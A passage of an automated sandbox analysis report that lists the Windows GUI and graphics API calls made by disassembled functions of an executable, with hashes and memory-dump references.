          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$wave$EnterHeaderLeave$CloseHandleUnprepare$DeleteMultipleObjectsPausePrepareReleaseResetSemaphoreWaitWrite
          • String ID:
          • API String ID: 361331667-0
          • Opcode ID: 025642e08ad751bdb9aab37642efbc9d7749ec7f1570b92ccd820ccd75f3094c
          • Instruction ID: f318690171cf380ad459555e03d082ed18548941e76ad3a1c5830c90cb736204
          • Opcode Fuzzy Hash: 025642e08ad751bdb9aab37642efbc9d7749ec7f1570b92ccd820ccd75f3094c
          • Instruction Fuzzy Hash: 5E71A5B66002199BEB14CF64DC88AAA3BA8FF49714F05452AFD06D7361C778ED41CB98
          APIs
          • CopyRect.USER32(?,?), ref: 0043CD16
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
          • FillRect.USER32(?,?,00000000), ref: 0043CD54
          • GetSystemMetrics.USER32(0000002E), ref: 0043CD7D
          • GetSystemMetrics.USER32(0000002D), ref: 0043CD83
          • DrawFrameControl.USER32(?,?,00000003,?), ref: 0043CDF6
          • DrawEdge.USER32(?,?,0000000A,0000000F), ref: 0043CE09
          • InflateRect.USER32(?,00FFFFFD,00000001), ref: 0043CE24
          • GetSysColor.USER32(0000000F), ref: 0043CE48
          • Rectangle.GDI32(?,?,?,?,?), ref: 0043CE9B
          • OffsetRect.USER32(?,00000001,00000001), ref: 0043CF05
          • GetSysColor.USER32(00000014), ref: 0043CF0B
          • OffsetRect.USER32(?,000000FF,000000FF), ref: 0043CF33
          • GetSysColor.USER32(00000010), ref: 0043CF39
          • InflateRect.USER32(?,000000FF,000000FF), ref: 0043CF82
          • DrawFocusRect.USER32(?,?), ref: 0043CF91
            • Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
            • Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$ColorDraw$InflateMetricsOffsetSystemTextWindow$BrushControlCopyCreateEdgeFillFocusFrameH_prologLengthRectangleSolid
          • String ID: rJ$ rJ
          • API String ID: 4239342997-2590361523
          • Opcode ID: 324dae71d8e80ff815c0e423b7f65a5b88f580f6d32451fe57349df04b6ed6d1
          • Instruction ID: 7926ee7fb7289db2ef029edbf857d7bbae39e9a4e4ee23797de59ff9ea5ac067
          • Opcode Fuzzy Hash: 324dae71d8e80ff815c0e423b7f65a5b88f580f6d32451fe57349df04b6ed6d1
          • Instruction Fuzzy Hash: F1A18974208345AFC704DF68C889E6BBBE8BF89714F004A1DF59687390DBB4E905CB96
          APIs
          • GetObjectA.GDI32(?,00000018,?), ref: 004281ED
          • MulDiv.KERNEL32(?,?,00000064), ref: 00428222
          • MulDiv.KERNEL32(?,?,00000064), ref: 0042824D
          • GetDeviceCaps.GDI32 ref: 00428287
          • GetSystemPaletteEntries.GDI32(?,00000000,000000FF,00000004), ref: 004282C1
          • CreatePalette.GDI32(00000000), ref: 004282CC
          • CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042832C
          • CreateCompatibleDC.GDI32(?), ref: 0042835F
          • CreateCompatibleDC.GDI32(?), ref: 00428398
          • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 004283FB
          • GlobalFree.KERNEL32(00000000), ref: 004284C3
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Create$Compatible$Palette$BitmapCapsDeviceEntriesFreeGlobalObjectStretchSystem
          • String ID: TjJ&ljJ$`jJ$`jJ$ljJ
          • API String ID: 3563226738-2179596016
          • Opcode ID: 637b8a336f66bfe7be62a66ddbd9417d3801636560846fc8ab17252c49a28874
          • Instruction ID: d8a1f506ac99fe42ff3dbd7d9c2e6c9fee608dafb1be6ea878813ba6e91612c0
          • Opcode Fuzzy Hash: 637b8a336f66bfe7be62a66ddbd9417d3801636560846fc8ab17252c49a28874
          • Instruction Fuzzy Hash: 3791C1712083449FC710EF65D881F6FBBE8AB95704F544A2EF69593281DB78EC04CB6A
          APIs
            • Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3
          • GetParent.USER32(?), ref: 00495687
          • SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 004956AA
          • GetWindowRect.USER32(?,?), ref: 004956C3
          • GetWindowLongA.USER32(00000000,000000F0), ref: 004956D6
          • CopyRect.USER32(?,?), ref: 00495723
          • CopyRect.USER32(?,?), ref: 0049572D
          • GetWindowRect.USER32(00000000,?), ref: 00495736
          • CopyRect.USER32(?,?), ref: 00495752
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Window$Copy$Long$MessageParentSend
          • String ID: ($@
          • API String ID: 808654186-1311469180
          • Opcode ID: a9e278be69f85a909b80f54ad9f7d23f088dd2f588c2aa917d2bb991c7cb9427
          • Instruction ID: 3a80c3d063a4b8dc61f788d42c68d7e194e308091007a9cfc6a311f6381747c0
          • Opcode Fuzzy Hash: a9e278be69f85a909b80f54ad9f7d23f088dd2f588c2aa917d2bb991c7cb9427
          • Instruction Fuzzy Hash: ED517272900619AFDF11DBA8DC85EEEBFB9AF44310F254166E905F3290D634ED058B68
          APIs
            • Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
            • Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148
          • __ftol.LIBCMT ref: 0043E566
          • __ftol.LIBCMT ref: 0043E5BC
          • __ftol.LIBCMT ref: 0043E612
          • __ftol.LIBCMT ref: 0043E668
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E689
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E6A3
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E76B
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E79D
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E7BA
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E7DA
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E7F4
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E80C
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E82B
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E894
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E8F9
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E93B
            • Part of subcall function 00495EED: GetDlgItem.USER32(?,?), ref: 00495EFB
          • SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E967
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$__ftol$TextWindow$ItemLength
          • String ID:
          • API String ID: 2143175130-0
          • Opcode ID: ad7f18d017c1b2b91d793911446e11873a4b9aa19c73a9122346c65433849d30
          • Instruction ID: a883e40d247638f831d8f63dda2d5c71bd36fe3c4602a3ee27c37b942ad93e7c
          • Opcode Fuzzy Hash: ad7f18d017c1b2b91d793911446e11873a4b9aa19c73a9122346c65433849d30
          • Instruction Fuzzy Hash: B1D1D5B1544702ABD724EB35CC42FAB77A8AB84744F104D2EF19A862E0DA38F546CF59
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 0044A850: GetWindowExtEx.GDI32(?,?), ref: 0044A873
          • MulDiv.KERNEL32(?,00000064,?), ref: 0044B3BB
          • GetClientRect.USER32(?,?), ref: 0044B449
          • DPtoLP.GDI32(?,?,00000002), ref: 0044B45E
          • OffsetRect.USER32 ref: 0044B4AD
          • Rectangle.GDI32(?,?,?,?,?), ref: 0044B4EB
          • FillRect.USER32(?,?,?), ref: 0044B543
          • FillRect.USER32(?,00000032,?), ref: 0044B586
          • LPtoDP.GDI32(?,?,00000002), ref: 0044B62F
          • IsRectEmpty.USER32(?), ref: 0044B636
          • CreateRectRgnIndirect.GDI32(?), ref: 0044B67A
            • Part of subcall function 00498444: SelectClipRgn.GDI32(?,00000000), ref: 00498466
            • Part of subcall function 00498444: SelectClipRgn.GDI32(?,?), ref: 0049847C
          • LPtoDP.GDI32(?,?,00000001), ref: 0044B6BA
          • DPtoLP.GDI32(?,?,00000001), ref: 0044B6E1
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$ClipFillSelect$BeginClientCreateEmptyH_prologIndirectOffsetPaintRectangleWindow
          • String ID: 0bCv$2
          • API String ID: 2521159323-3064516916
          • Opcode ID: fa460fabccbcb003b7c72667bf66fa580f432548d59862b4645531cac74363c0
          • Instruction ID: 5c55b02870226dc2a8f690a16b53e063de105c021059b832df0d2bae97069365
          • Opcode Fuzzy Hash: fa460fabccbcb003b7c72667bf66fa580f432548d59862b4645531cac74363c0
          • Instruction Fuzzy Hash: D2E116B16087409FD724DF69C880A6BB7E9FBC8704F408A2EF59A87351DB74E904CB56
          APIs
          • CreateRectRgn.GDI32(?,?,?,?), ref: 0042026E
          • GetClientRect.USER32(?,?), ref: 00420309
          • CreateRectRgn.GDI32 ref: 0042037A
          • CombineRgn.GDI32(?,?,4dJ,00000004), ref: 004203AB
          • SetRect.USER32(?,00000000,?,?,?), ref: 00420402
          • IntersectRect.USER32(?,?,?), ref: 0042040F
          • IsRectEmpty.USER32(?), ref: 0042043A
          • __ftol.LIBCMT ref: 00420518
          • __ftol.LIBCMT ref: 00420525
          • CreateRectRgn.GDI32(00000000,?,00000000,00000000), ref: 0042057E
          • CombineRgn.GDI32(?,?,4dJ,00000004), ref: 004205AF
            • Part of subcall function 0042A640: SetStretchBltMode.GDI32(?,00000000), ref: 0042A654
            • Part of subcall function 0042A640: CreateCompatibleDC.GDI32(?), ref: 0042A6D9
            • Part of subcall function 0042A640: CreateCompatibleDC.GDI32(?), ref: 0042A6F1
            • Part of subcall function 0042A640: GetObjectA.GDI32(?,00000018,?), ref: 0042A732
            • Part of subcall function 0042A640: CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0042A748
          • FillRgn.GDI32(?,?,00000000), ref: 0042062C
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Create$CombineCompatible__ftol$BitmapClientEmptyFillIntersectModeObjectStretch
          • String ID: 4dJ$4dJ
          • API String ID: 3212946024-3687587987
          • Opcode ID: bf645fb41507d9f9dc83cc9e7d415c9fe6734117e76ff497f1a21087802cf40d
          • Instruction ID: a4341144a1294254b4417b74ab28962a8f6e00e08dd2429d7fdae9a42a41eb5d
          • Opcode Fuzzy Hash: bf645fb41507d9f9dc83cc9e7d415c9fe6734117e76ff497f1a21087802cf40d
          • Instruction Fuzzy Hash: 9ED19B71208341AFC714DF29D884A6BBBE8FBC8344F548A1EF89593252DB34E845CB66
          APIs
          • GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 0043050F
          • GetProfileStringA.KERNEL32(devices,00000000,004DBE20,?,00001000), ref: 00430543
          • GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 004305CA
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ProfileString
          • String ID: mJ$,,,$device$devices$none$windows
          • API String ID: 1468043044-4012763776
          • Opcode ID: 03d7c3a86bb0c15985a8d785e7a65d96188e50c11c2584baef92d6565c101b48
          • Instruction ID: c2d045556abb7d9aec2b85e90e4e97f78652d5a265dad3c15c22b8abf83a8cd9
          • Opcode Fuzzy Hash: 03d7c3a86bb0c15985a8d785e7a65d96188e50c11c2584baef92d6565c101b48
          • Instruction Fuzzy Hash: EFB1D4341083819FD724EB64C891F9FB7E4EF99758F400A1EF89983291DB789904CB6A
          APIs
          • GetModuleHandleA.KERNEL32(USER32,?,?,?,0047FEAA), ref: 0047FD93
          • GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0047FDAB
          • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0047FDBC
          • GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0047FDCD
          • GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0047FDDE
          • GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0047FDEF
          • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0047FE00
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AddressProc$HandleModule
          • String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
          • API String ID: 667068680-2376520503
          • Opcode ID: 495c395ae25b2cf9aebffb25ce440733d175a57e0675d1d5ecb6f81ba9c722b1
          • Instruction ID: b5a57ff288ccbfa4cb495e257acaaaf9b49e66df5cde615b7f823c2199071fdf
          • Opcode Fuzzy Hash: 495c395ae25b2cf9aebffb25ce440733d175a57e0675d1d5ecb6f81ba9c722b1
          • Instruction Fuzzy Hash: E3115E70A10319AAC3219F6EADC457BFAE2B309740360443FE108D26E1DB384469CF7D
          APIs
          • GetClientRect.USER32(?,?), ref: 00414ECF
          • CreateCompatibleBitmap.GDI32 ref: 00414F2B
          • CreateCompatibleDC.GDI32(?), ref: 00414F5B
          • CreateRectRgn.GDI32(00000000,00000000,00000001,?), ref: 00414FF0
          • SetRect.USER32(?,00000000,00000000,00000001,?), ref: 00415019
            • Part of subcall function 0040F620: __ftol.LIBCMT ref: 0040F745
            • Part of subcall function 0040F620: __ftol.LIBCMT ref: 0040F752
          • FillRgn.GDI32(?,?,?), ref: 00415096
          • PatBlt.GDI32(?,00000000,00000000,00000001,?,00F00021), ref: 00415109
            • Part of subcall function 0040AAF0: GetSysColor.USER32(0000000F), ref: 0040AAFD
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
          • GetObjectA.GDI32(?,00000018,?), ref: 00415185
          • CreateCompatibleDC.GDI32(?), ref: 004151C3
          • BitBlt.GDI32(?,00000000,00000000,00000001,?,?,00000000,00000000,00CC0020), ref: 00415222
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Create$CompatibleRect$__ftol$BitmapBrushClientColorFillH_prologObjectSolid
          • String ID: 8\J$\[J$\_J
          • API String ID: 2289681609-489006577
          • Opcode ID: 42ed86179b42366f22924660d4703730c1e0da4e7d44021270bde725328bd5cb
          • Instruction ID: f5a4706f083cd03a8f8db45dad4772308011058cb281f344b91315c0238ac50c
          • Opcode Fuzzy Hash: 42ed86179b42366f22924660d4703730c1e0da4e7d44021270bde725328bd5cb
          • Instruction Fuzzy Hash: BDC1B2712087419FC714DB65C885FABBBE8AFD5704F04492EF18AD3291DB78E848CB66
          APIs
            • Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C
          • RegisterClipboardFormatA.USER32(commdlg_LBSelChangedNotify), ref: 00490510
          • RegisterClipboardFormatA.USER32(commdlg_ShareViolation), ref: 0049051C
          • RegisterClipboardFormatA.USER32(commdlg_FileNameOK), ref: 00490528
          • RegisterClipboardFormatA.USER32(commdlg_ColorOK), ref: 00490534
          • RegisterClipboardFormatA.USER32(commdlg_help), ref: 00490540
          • RegisterClipboardFormatA.USER32(commdlg_SetRGBColor), ref: 0049054C
            • Part of subcall function 00495E84: SetWindowLongA.USER32(?,000000FC,00000000), ref: 00495EB3
          • SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 0049063F
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
